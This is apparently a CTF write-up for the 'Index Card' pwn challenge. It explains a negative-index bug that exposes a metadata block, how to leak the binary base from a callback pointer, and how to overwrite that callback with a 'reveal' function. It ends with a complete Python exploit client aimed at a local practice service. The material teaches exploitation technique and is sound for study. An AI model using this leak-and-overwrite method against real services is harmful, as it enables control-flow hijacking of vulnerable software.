CTF archive / Pwn

Index Card: the slot before zero

A signed index is checked only against the upper bound. Reading and writing slot minus one reaches metadata instead of a card.

The service

Index Card manages four 16 byte cards with read N, write N HEX, and run. It rejects indexes greater than three. The lower bound check is wrong: index -1 selects a 16 byte metadata block before card zero. The local service implements that indexing behavior.

Index Card
> read -1
card=... [16 bytes as hex]
> write -1 ...
saved
> run

Memory layout

The metadata block contains two little endian words. The first is the view callback at offset 0x1390 from the binary base. The second is a state value that must stay intact. reveal is at offset 0x11d0. Reading slot -1 supplies both the leak and the state word.

BytesMeaningAction
0–7view callbackReplace with reveal
8–15State wordCopy unchanged

Solve path

  1. Read card -1 and decode the 16 hex encoded bytes.
  2. Unpack both words with u64.
  3. Subtract 0x1390 from view to get the base; add 0x11d0 for reveal.
  4. Write the new callback and original state back to slot -1.
  5. Run the callback.
replacement = p64(reveal) + p64(state)
command(sock, b"write -1 " + replacement.hex().encode())
print(command(sock, b"run"))

Preserving the state word matters: changing only the callback in a 16 byte write would zero the rest of the metadata.

Run it locally

python3 index_card_server.py 127.0.0.1 31340
python3 index_card.py 127.0.0.1 31340

Start the service in one terminal, then run the client in another. Both use the Python standard library.

Complete client

import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

VIEW_OFFSET = 0x1390
REVEAL_OFFSET = 0x11d0


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def command(sock, text):
    read_until(sock, b"> ")
    sock.sendall(text + b"\n")
    return read_until(sock, b"\n").strip()


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        read_until(sock, b"\n")
        answer = command(sock, b"read -1")
        raw = bytes.fromhex(answer.split(b"=", 1)[1].decode())
        if len(raw) != 16:
            raise ValueError("unexpected card length")
        view = u64(raw[:8])
        state = u64(raw[8:16])
        base = view - VIEW_OFFSET
        reveal = base + REVEAL_OFFSET
        print("view", hex(view), "reveal", hex(reveal))

        replacement = p64(reveal) + p64(state)
        print(command(sock, b"write -1 " + replacement.hex().encode()).decode())
        print(command(sock, b"run").decode(errors="replace"))


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 index_card.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))

← All CTF writeups